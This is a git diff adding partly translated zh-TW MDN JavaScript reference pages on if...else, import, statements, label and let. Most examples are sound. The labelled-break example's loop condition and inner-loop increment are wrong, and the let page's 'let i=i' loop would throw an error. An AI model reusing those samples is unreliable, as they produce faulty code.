+<pre class="brush: js example-bad notranslate">if (x = y) {
+   /* do the right thing */
+}
+</pre>
+
+<p>如果你必須在條件表達式中使用賦值，最好ˇ的作法是以額外的括號包住賦值語句，如下所示：</p>
+
+<pre class="brush: js example-good notranslate">if ((x = y)) {
+   /* do the right thing */
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-if-statement', 'if statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-if-statement', 'if statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12.5', 'if statement')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.if_else")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Statements/block", "block")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li>{{jsxref("Operators/conditional_operator", "conditional operator")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/import/index.html b/files/zh-tw/web/javascript/reference/statements/import/index.html
new file mode 100644
index 0000000000..7b3ef2402b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/import/index.html
@@ -0,0 +1,203 @@
+---
+title: import
+slug: Web/JavaScript/Reference/Statements/import
+translation_of: Web/JavaScript/Reference/Statements/import
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><span class="seoSummary"><strong>import</strong> 宣告用於引入由另一個模塊所導出的綁定。</span>被引入的模塊，無論是否宣告{{jsxref("Strict_mode","strict mode","嚴謹模式")}}，都會處於該模式。<code>import</code> 宣告無法用於嵌入式腳本（embedded scripts）。</p>
+
+<p>There is also a function-like dynamic <code><strong>import()</strong></code>, which does not require scripts of <code>type="module"</code>.</p>
+
+<p>Dynamic import is useful in situations where you wish to load a module conditionally, or on demand. The static form is preferable for loading initial dependencies, and can benefit more readily from static analysis tools and <a href="/en-US/docs/Glossary/Tree_shaking">tree shaking</a>.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">import <em>defaultExport</em> from "<em>module-name</em>";
+import * as <em>name</em> from "<em>module-name</em>";
+import { <em>export </em>} from "<em>module-name</em>";
+import { <em>export</em> as <em>alias </em>} from "<em>module-name</em>";
+import { <em>export1 , export2</em> } from "<em>module-name</em>";
+import { <em>export1 , export2</em> as <em>alias2</em> , <em>[...]</em> } from "<em>module-name</em>";
+import <em>defaultExport</em>, { <em>export</em> [ , <em>[...]</em> ] } from "<em>module-name</em>";
+import <em>defaultExport</em>, * as <em>name</em> from "<em>module-name</em>";
+import "<em>module-name</em>";</pre>
+
+<dl>
+ <dt><code>defaultExport</code></dt>
+ <dd>從模塊要參照過去的預設導出名。</dd>
+ <dt><code>module-name</code></dt>
+ <dd>要導入的模塊名。通常包含 <code>.js </code> 模塊文件的相對或絕對路徑名。請確認你的開發環境，某些bundler 會允許或要求你加入副檔名。只允許使用單引號和雙引號字符串。</dd>
+ <dt><code>name</code></dt>
+ <dd>參照導入時，會用做 namespace 種類的模塊名。</dd>
+ <dt><code>export, exportN</code></dt>
+ <dd>導出要被引入時，要用的名號。</dd>
+ <dt><code>alias, aliasN</code></dt>
+ <dd>別名，重新命名被import進來的js稱呼。</dd>
+</dl>
+
+<h2 id="敘述">敘述</h2>
+
+<p><code>name</code> 參數能將模塊物件（module object）名用於 namespace 種類，以便各導出能參照之。<code>export</code> 參數會在引用 <code>import * as name</code> 語法時，指定 individual named export。以下示例將展示語法的簡例。</p>
+
+<h3 id="引入整個模塊的內容">引入整個模塊的內容</h3>
+
+<p>本例在當前作用域插入了 <code>myModule</code> 變數，並把所有來自 <code>/modules/my-module.js</code> 檔案的模塊導出。</p>
+
+<pre class="brush: js">import * as <em>myModule</em> from '/modules/my-module.js';
+</pre>
+
+<p>這裡會用到指定的模塊名（在此為 myModule）訪問導出來的命名空間。例如說引入模塊有 <code>doAllTheAmazingThings()</code> 的話，就可以這麼寫：</p>
+
+<pre class="brush: js">myModule.doAllTheAmazingThings();</pre>
+
+<h3 id="從模塊引入單一導出">從模塊引入單一導出</h3>
+
+<p>給定由 <code>my-module</code> 導出的模塊，稱作 <code>myExport</code> 物件與數值，無論是顯性（因為整個模塊被導出了）與隱性（使用 {{jsxref("Statements/export", "export")}} 宣告），這裡就在當前的作用域插入 <code>myExport</code>。</p>
+
+<pre class="brush: js">import {myExport} from '/modules/my-module.js';</pre>
+
+<h3 id="從模塊引入數個導出">從模塊引入數個導出</h3>
+
+<p>例在當前作用域插入了 <code>foo</code> 與 <code>bar</code>。</p>
+
+<pre class="brush: js">import {foo, bar} from '/modules/my-module.js';</pre>
+
+<h3 id="使用便利的_alias_引入或導出">使用便利的 alias 引入或導出</h3>
+
+<p>在引入時，可以重新命名導出的模塊。例如說，這裡就就在目前作用域插入 <code>shortName</code> 變數。</p>
+
+<pre class="brush: js">import {reallyReallyLongModuleExportName as shortName}
+  from '/modules/my-module.js';</pre>
+
+<h3 id="引入時重命名數個導出">引入時重命名數個導出</h3>
+
+<p>使用別名（aliases）以便引入或導出模塊</p>
+
+<pre class="brush: js">import {
+  reallyReallyLongModuleExportName as shortName,
+  anotherLongModuleName as short
+} from '/modules/my-module.js';</pre>
+
+<h3 id="僅作為副作用引入模塊">僅作為副作用引入模塊</h3>
+
+<p>僅作為副作用（side effect）引入整個模塊，而不直接引入任何東西。這樣會在不引入實際數值的情況下，執行整個模塊的程式。</p>
+
+<pre class="brush: js">import '/modules/my-module.js';
+</pre>
+
+<h3 id="引入預設">引入預設</h3>
+
+<p>你可以引入預設好的 {{jsxref("Statements/export", "export")}}，無論他屬於物件、函式、還是類別。<code>import</code> 宣告可以接著引入該預設。</p>
+
+<p>最簡單的預設引入：</p>
+
+<pre class="brush: js">import myDefault from '/modules/my-module.js';</pre>
+
+<p>It is also possible to use the default syntax with the ones seen above (namespace imports or named imports). In such cases, the default import will have to be declared first. For instance:</p>
+
+<pre class="brush: js">import myDefault, * as myModule from '/modules/my-module.js';
+// myModule used as a namespace</pre>
+
+<p>或是：</p>
+
+<pre class="brush: js">import myDefault, {foo, bar} from '/modules/my-module.js';
+// specific, named imports
+</pre>
+
+<h3 id="動態引入">動態引入</h3>
+
+<p><code>import</code> 關鍵字也能透過函式呼叫引入之。在這種情況下，該函式回傳 promise。</p>
+
+<pre class="brush: js">import('/modules/my-module.js')
+  .then((module) =&gt; {
+    // 在模塊內作點事情
+  });
+</pre>
+
+<p>這方法也支援關鍵字 await。</p>
+
+<pre class="brush: js">let module = await import('/modules/my-module.js');</pre>
+
+<h2 id="示例">示例</h2>
+
+<p>引用次要模塊以協助程式執行 AJAX JSON 請求。</p>
+
+<h3 id="模塊：file.js">模塊：file.js</h3>
+
+<pre class="brush: js">function getJSON(url, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.onload = function () {
+    callback(this.responseText)
+  };
+  xhr.open('GET', url, true);
+  xhr.send();
+}
+
+export function getUsefulContents(url, callback) {
+  getJSON(url, data =&gt; callback(JSON.parse(data)));
+}</pre>
+
+<h3 id="主要程式：main.js">主要程式：main.js</h3>
+
+<pre class="brush: js">import { getUsefulContents } from '/modules/file.js';
+
+getUsefulContents('http://www.example.com',
+    data =&gt; { doSomethingUseful(data); });</pre>
+
+<h3 id="動態引入_2">動態引入</h3>
+
+<p>This example shows how to load functionality on to a page based on a user action, in this case a button click, and then call a function within that module. This is not the only way to implement this functionality. The <code>import()</code> function also supports <code>await</code>.</p>
+
+<pre class="brush: js">const main = document.querySelector("main");
+for (const link of document.querySelectorAll("nav &gt; a")) {
+  link.addEventListener("click", e =&gt; {
+    e.preventDefault();
+
+    import('/modules/my-module.js')
+      .then(module =&gt; {
+        module.loadPageInto(main);
+      })
+      .catch(err =&gt; {
+        main.textContent = err.message;
+      });
+  });
+}</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li><a href="https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/">Previewing ES6 Modules and more from ES2015, ES2016 and beyond</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a href="https://hacks.mozilla.org/2018/03/es-modules-a-cartoon-deep-dive/">ES modules: A cartoon deep-dive</a>, Hacks blog post by Lin Clark</li>
+ <li><a class="external" href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/index.html b/files/zh-tw/web/javascript/reference/statements/index.html
new file mode 100644
index 0000000000..63c3483f1b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/index.html
@@ -0,0 +1,147 @@
+---
+title: 陳述式與宣告
+slug: Web/JavaScript/Reference/Statements
+tags:
+  - JavaScript
+  - Reference
+  - statements
+translation_of: Web/JavaScript/Reference/Statements
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>JavaScript 應用程式由適當的陳述式組成。一個單一的陳述式可以跨用好幾行。 多個陳述式也可以藉由分號分隔來寫在同一行。 這不是一個關鍵字，而是一群關鍵字。</p>
+
+<h2 id="陳述式與宣告分類">陳述式與宣告分類</h2>
+
+<p>For an alphabetical listing see the sidebar on the left.</p>
+
+<h3 id="流程控制">流程控制</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/block", "Block")}}</dt>
+ <dd>A block statement is used to group zero or more statements. The block is delimited by a pair of curly brackets.</dd>
+ <dt>{{jsxref("Statements/break", "break")}}</dt>
+ <dd>中斷當下的迴圈、條件判斷（switch）或是標籤（label）陳述式，並將程式流程轉到被中斷陳述式後的陳述式。</dd>
+ <dt>{{jsxref("Statements/continue", "continue")}}</dt>
+ <dd>Terminates execution of the statements in the current iteration of the current or labeled loop, and continues execution of the loop with the next iteration.</dd>
+ <dt>{{jsxref("Statements/Empty", "Empty")}}</dt>
+ <dd>An empty statement is used to provide no statement, although the JavaScript syntax would expect one.</dd>
+ <dt>{{jsxref("Statements/if...else", "if...else")}}</dt>
+ <dd>當特定的條件為真時執行一段陳述式，若為假則另一段陳述式就會被執行。</dd>
+ <dt>{{jsxref("Statements/switch", "switch")}}</dt>
+ <dd>Evaluates an expression, matching the expression's value to a case clause, and executes statements associated with that case.</dd>
+ <dt>{{jsxref("Statements/throw", "throw")}}</dt>
+ <dd>Throws a user-defined exception.</dd>
+ <dt>{{jsxref("Statements/try...catch", "try...catch")}}</dt>
+ <dd>Marks a block of statements to try, and specifies a response, should an exception be thrown.</dd>
+</dl>
+
+<h3 id="宣告">宣告</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/var", "var")}}</dt>
+ <dd>Declares a variable, optionally initializing it to a value.</dd>
+ <dt>{{jsxref("Statements/let", "let")}}</dt>
+ <dd>Declares a block scope local variable, optionally initializing it to a value.</dd>
+ <dt>{{jsxref("Statements/const", "const")}}</dt>
+ <dd>Declares a read-only named constant.</dd>
+</dl>
+
+<h3 id="函數與類別（Class）">函數與類別（Class）</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/function", "function")}}</dt>
+ <dd>用指定的變數宣告一個函數</dd>
+ <dt>{{jsxref("Statements/function*", "function*")}}</dt>
+ <dd>Generators functions enable writing <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterators</a> more easily.</dd>
+ <dt>{{jsxref("Statements/async_function", "async function")}}</dt>
+ <dd>Declares an async function with the specified parameters.</dd>
+ <dt>{{jsxref("Statements/return", "return")}}</dt>
+ <dd>Specifies the value to be returned by a function.</dd>
+ <dt>{{jsxref("Statements/class", "class")}}</dt>
+ <dd>Declares a class.</dd>
+</dl>
+
+<h3 id="迭代（Iteration）">迭代（Iteration）</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/do...while", "do...while")}}</dt>
+ <dd>Creates a loop that executes a specified statement until the test condition evaluates to false. The condition is evaluated after executing the statement, resulting in the specified statement executing at least once.</dd>
+ <dt>{{jsxref("Statements/for", "for")}}</dt>
+ <dd>Creates a loop that consists of three optional expressions, enclosed in parentheses and separated by semicolons, followed by a statement executed in the loop.</dd>
+ <dt>{{deprecated_inline}} {{non-standard_inline()}} {{jsxref("Statements/for_each...in", "for each...in")}}</dt>
+ <dd>Iterates a specified variable over all values of object's properties. For each distinct property, a specified statement is executed.</dd>
+ <dt>{{jsxref("Statements/for...in", "for...in")}}</dt>
+ <dd>Iterates over the enumerable properties of an object, in arbitrary order. For each distinct property, statements can be executed.</dd>
+ <dt>{{jsxref("Statements/for...of", "for...of")}}</dt>
+ <dd>Iterates over iterable objects (including {{jsxref("Global_Objects/Array","arrays","","true")}}, array-like objects, <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">iterators and generators</a>), invoking a custom iteration hook with statements to be executed for the value of each distinct property.</dd>
+ <dt>{{jsxref("Statements/while", "while")}}</dt>
+ <dd>Creates a loop that executes a specified statement as long as the test condition evaluates to true. The condition is evaluated before executing the statement.</dd>
+</dl>
+
+<h3 id="其他">其他</h3>
+
+<dl>
+ <dt>{{jsxref("Statements/debugger", "debugger")}}</dt>
+ <dd>Invokes any available debugging functionality. If no debugging functionality is available, this statement has no effect.</dd>
+ <dt>{{jsxref("Statements/export", "export")}}</dt>
+ <dd>Used to export functions to make them available for imports in external modules, another scripts.</dd>
+ <dt>{{jsxref("Statements/import", "import")}}</dt>
+ <dd>Used to import functions exported from an external module, another script.</dd>
+ <dt>{{jsxref("Statements/label", "label")}}</dt>
+ <dd>Provides a statement with an identifier that you can refer to using a <code>break</code> or <code>continue</code> statement.</dd>
+</dl>
+
+<dl>
+ <dt>{{deprecated_inline}} {{jsxref("Statements/with", "with")}}</dt>
+ <dd>Extends the scope chain for a statement.</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">技術規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">備註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12', 'Statements')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New: function*, let, for...of, yield, class</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-statements-and-declarations', 'ECMAScript Language: Statements and Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/docs/Web/JavaScript/Reference/Operators">運算式與運算子</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/label/index.html b/files/zh-tw/web/javascript/reference/statements/label/index.html
new file mode 100644
index 0000000000..4939b7b95f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/label/index.html
@@ -0,0 +1,203 @@
+---
+title: label
+slug: Web/JavaScript/Reference/Statements/label
+tags:
+  - JavaScript
+  - Statement
+  - 陳述式
+translation_of: Web/JavaScript/Reference/Statements/label
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong>標記陳述式</strong>可以和 {{jsxref("Statements/break", "break")}} 或 {{jsxref("Statements/continue", "continue")}} 語句一起使用。標記就是在一條陳述式前面加個可以引用的識別符號。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-label.html")}}</div>
+
+
+
+<div class="note">
+<p>標記的迴圈或程式碼區塊非常罕見。通常可以使用函式呼叫而不是使用迴圈跳轉。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><em>label</em> :
+   <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>任何不是保留字的 JavaScript 識別符號。</dd>
+ <dt><code>statement</code></dt>
+ <dd>一個 JavaScript 陳述式。<code>break</code> 可用於任何標記陳述式，而 <code>continue</code> 可用於循環標記陳述式。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>可使用一個標籤來唯一標記一個循環，然後使用 <code>break</code> 或 <code>continue</code> 陳述式來指示程式是否中斷循環或繼續執行。</p>
+
+<p>需要注意的是 JavaScript <strong>沒有</strong> <code>goto</code> 陳述式，標記只能和 <code>break</code> 或 <code>continue</code> 一起使用。</p>
+
+<p>在<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Strict_mode">嚴格模式</a>中，你不能使用 “<code>let</code>” 作為標籤名稱。它會拋出一個<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError" title="SyntaxError 物件代表嘗試解析語法上不合法的程式碼的錯誤。"><code>SyntaxError</code></a>（let 是一個保留的識別符號）。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="在_for_迴圈中使用帶標記的_continue">在 <code>for</code> 迴圈中使用帶標記的 <code>continue</code> </h3>
+
+<pre class="brush: js">var i, j;
+
+loop1:
+for (i = 0; i &lt; 3; i++) {      //The first for statement is labeled "loop1"
+   loop2:
+   for (j = 0; j &lt; 3; j++) {   //The second for statement is labeled "loop2"
+      if (i === 1 &amp;&amp; j === 1) {
+         continue loop1;
+      }
+      console.log('i = ' + i + ', j = ' + j);
+   }
+}
+
+// Output is:
+//   "i = 0, j = 0"
+//   "i = 0, j = 1"
+//   "i = 0, j = 2"
+//   "i = 1, j = 0"
+//   "i = 2, j = 0"
+//   "i = 2, j = 1"
+//   "i = 2, j = 2"
+// Notice how it skips both "i = 1, j = 1" and "i = 1, j = 2"
+</pre>
+
+<h3 id="使用帶標記的_continue_陳述式">使用帶標記的 <code>continue</code> 陳述式</h3>
+
+<p>給定一組資料和一組測試，下面的例子可以統計通過測試的資料。</p>
+
+<pre class="brush: js">var itemsPassed = 0;
+var i, j;
+
+top:
+for (i = 0; i &lt; items.length; i++) {
+  for (j = 0; j &lt; tests.length; j++) {
+    if (!tests[j].pass(items[i])) {
+      continue top;
+    }
+  }
+
+  itemsPassed++;
+}</pre>
+
+<h3 id="在_for_迴圈中使用帶標記的_break">在 <code>for</code> 迴圈中使用帶標記的 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(255, 255, 255, 0.4);">break</span></font> </h3>
+
+<pre class="brush: js">var i, j;
+
+loop1:
+for (i = 0; i &lt; 3; i++) {      //The first for statement is labeled "loop1"
+   loop2:
+   for (j = 0; j &lt; 3; j++) {   //The second for statement is labeled "loop2"
+      if (i === 1 &amp;&amp; j === 1) {
+         break loop1;
+      }
+      console.log('i = ' + i + ', j = ' + j);
+   }
+}
+
+// Output is:
+//   "i = 0, j = 0"
+//   "i = 0, j = 1"
+//   "i = 0, j = 2"
+//   "i = 1, j = 0"
+// Notice the difference with the previous continue example</pre>
+
+<h3 id="使用帶標記_break_陳述式">使用帶標記 <code>break</code> 陳述式</h3>
+
+<p>給定一組資料和一組測試，下面的例子判斷是否所有的資料均通過了測試。</p>
+
+<pre class="brush: js">var allPass = true;
+var i, j;
+
+top:
+for (i = 0; items.length; i++)
+  for (j = 0; j &lt; tests.length; i++)
+    if (!tests[j].pass(items[i])) {
+      allPass = false;
+      break top;
+    }</pre>
+
+<h3 id="在標記的區塊中使用_break">在標記的區塊中使用 <code>break</code></h3>
+
+<p>你可以在程式碼區塊中使用標記，但只有 <code>break</code> 陳述式可以使用非迴圈的標記。</p>
+
+<pre class="brush: js">foo: {
+  console.log('face');
+  break foo;
+  console.log('this will not be executed');
+}
+console.log('swap');
+
+// this will log:
+
+// "face"
+// "swap </pre>
+
+<h3 id="標記的函式宣告式">標記的函式宣告式</h3>
+
+<p>從 ECMAScript 2015 開始，標準的函式宣告式現在對規範的 <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-labelled-function-declarations" rel="noopener">Web 相容性附件</a>中的非嚴格程式碼進行了標準化。</p>
+
+<pre class="brush: js">L: function F() {}</pre>
+
+<p>在<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Strict_mode">嚴格模式</a>中，這會拋出 {{jsxref("SyntaxError")}} 例外：</p>
+
+<pre class="brush: js">'use strict';
+L: function F() {}
+// SyntaxError: functions cannot be labelled</pre>
+
+<p><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Statements/function*">產生器函式</a>既不能在嚴格模式中標記，也不能在非嚴格模式中標記：</p>
+
+<pre class="brush: js">L: function* F() {}
+// SyntaxError: generator functions cannot be labelled
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-labelled-statements', 'Labelled statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.label")}}</p>
+
+<h2 id="相關連結">相關連結</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/let/index.html b/files/zh-tw/web/javascript/reference/statements/let/index.html
new file mode 100644
index 0000000000..0cdc8806be
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/let/index.html
@@ -0,0 +1,246 @@
+---
+title: let
+slug: Web/JavaScript/Reference/Statements/let
+translation_of: Web/JavaScript/Reference/Statements/let
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><strong><code>let</code></strong>用於宣告一個「只作用在當前區塊的變數」，初始值可選擇性的設定。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-let.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">let var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]];</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>var1</code>, <code>var2</code>, …, <code>varN</code></dt>
+ <dd>變數名稱。</dd>
+ <dt><code>value1</code>, <code>value2</code>, …, <code>valueN</code></dt>
+ <dd>變數的初始值，可以是任何合法的表達式。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p><code>let</code> 可以宣告只能在目前區塊、階段或表達式中作用的變數。而 <code><a href="https://developer.mozilla.org/zh-TW/docs/JavaScript/Reference/Statements/var" title="JavaScript/Reference/Statements/var">var</a> 則是定義了一個全域變數，或是在整個 function 而不管該區塊範圍。</code></p>
+
+<h3 id="Scoping_rules">Scoping rules</h3>
+
+<p>宣告 <code>let</code> 的作用範圍是它們被定義的區塊，以及該區塊包含的子區塊。這樣看起來功能跟 <strong><code>var</code></strong> 很相似。主要不同的地方在於 <strong><code>var</code></strong> 作用範圍是「整個」function：</p>
+
+<pre class="brush:js notranslate">function varTest() {
+  var x = 1;
+  {
+    var x = 2;  // 這裡的 x 與 function 區塊內部的 x 是一樣的，因此會影響 function 區塊內所有的 x
+    console.log(x);  // 2
+  }
+  console.log(x);  // 2
+}
+
+function letTest() {
+  let x = 1;
+  {
+    let x = 2;  // 這裡的 x 與 function 區塊內部的 x 是不同的，只會作用在這層 block 區塊中
+    console.log(x);  // 2
+  }
+  console.log(x);  // 1
+}</pre>
+
+<p>在上列例子裡的最前行 <code>let</code> 和 <code>var</code> 不同，<code>let</code> 並不會在全域物件中建立變數。舉例來說：</p>
+
+<pre class="brush:js notranslate">var x = 'global';
+let y = 'global';
+console.log(this.x); // "global"
+console.log(this.y); // undefined
+</pre>
+
+<h3 id="Emulating_private_members">Emulating private members</h3>
+
+<p>In dealing with <a href="/en-US/docs/Glossary/Constructor">constructors</a> it is possible to use the <strong><code>let</code></strong> bindings to share one or more private members without using <a href="/en-US/docs/Web/JavaScript/Closures">closures</a>:</p>
+
+<pre class="brush:js notranslate">var Thing;
+
+{
+  let privateScope = new WeakMap();
+  let counter = 0;
+
+  Thing = function() {
+    this.someProperty = 'foo';
+
+    privateScope.set(this, {
+      hidden: ++counter,
+    });
+  };
+
+  Thing.prototype.showPublic = function() {
+    return this.someProperty;
+  };
+
+  Thing.prototype.showPrivate = function() {
+    return privateScope.get(this).hidden;
+  };
+}
+
+console.log(typeof privateScope);
+// "undefined"
+
+var thing = new Thing();
+
+console.log(thing);
+// Thing {someProperty: "foo"}
+
+thing.showPublic();
+// "foo"
+
+thing.showPrivate();
+// 1
+</pre>
+
+<h3 id="Temporal_Dead_Zone_and_errors_with_let">Temporal Dead Zone and errors with <code>let</code></h3>
+
+<p>Redeclaring the same variable within the same function or block scope raises a {{jsxref("SyntaxError")}}.</p>
+
+<pre class="brush: js example-bad notranslate">if (x) {
+  let foo;
+  let foo; // SyntaxError thrown.
+}</pre>
+
+<p>In ECMAScript 2015, <strong><code>let</code></strong> bindings are not subject to <strong>Variable Hoisting</strong>, which means that <strong><code>let</code></strong> declarations do not move to the top of the current execution context. Referencing the variable in the block before the initialization results in a <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a></code> (contrary to a variable declared with <a href="/en-US/docs/Web/JavaScript/Reference/Statements/var#var_hoisting">var</a>, which will just have the undefined value). The variable is in a "temporal dead zone" from the start of the block until the initialization is processed.</p>
+
+<pre class="brush: js notranslate">function do_something() {
+  console.log(foo); // ReferenceError
+  let foo = 2;
+}</pre>
+
+<p>你可能會在 <a href="https://developer.mozilla.org/zh-TW/docs/JavaScript/Reference/Statements/switch" title="switch"><code>switch</code></a> 中遇到錯誤，因為所有的 <code>case</code> 都屬於同樣的區塊中。</p>
+
+<pre class="brush: js notranslate">switch (x) {
+  case 0:
+    let foo;
+    break;
+
+  case 1:
+    let foo; // SyntaxError for redeclaration.
+    break;
+}</pre>
+
+<h3 id="let_於_for_迴圈的宣告範圍"><code>let</code> 於 <code>for</code> 迴圈的宣告範圍</h3>
+
+<p>You can use the <code>let</code> keyword to bind variables locally in the scope of <code>for</code> loops. This is different from the var keyword in the head of a for loop, which makes the variables visible in the whole function containing the loop.</p>
+
+<pre class="brush:js notranslate">var i=0;
+for ( let i=i ; i &lt; 10 ; i++ ) {
+  console.log(i);
+}
+</pre>
+
+<p>However, it's important to point out that a block nested inside a case clause will create a new block scoped lexical environment, which will not produce the redeclaration errors shown above.</p>
+
+<pre class="brush: js notranslate">let x = 1;
+
+switch(x) {
+  case 0: {
+    let foo;
+    break;
+  }
+  case 1: {
+    let foo;
+    break;
+  }
+}</pre>
+
+<h3 id="The_temporal_dead_zone_and_typeof">The temporal dead zone and <code>typeof</code></h3>
+
+<p>Unlike with simply undeclared variables and variables that hold a value of <code>undefined</code>, using the <code>typeof</code> operator to check for the type of a variable in that variable's TDZ will throw a <code>ReferenceError</code>:</p>
+
+<pre class="brush: js notranslate">// prints out 'undefined'
+console.log(typeof undeclaredVariable);
+// results in a 'ReferenceError'
+console.log(typeof i);
+let i = 10;</pre>
+
+<h3 id="Another_example_of_temporal_dead_zone_combined_with_lexical_scoping">Another example of temporal dead zone combined with lexical scoping</h3>
+
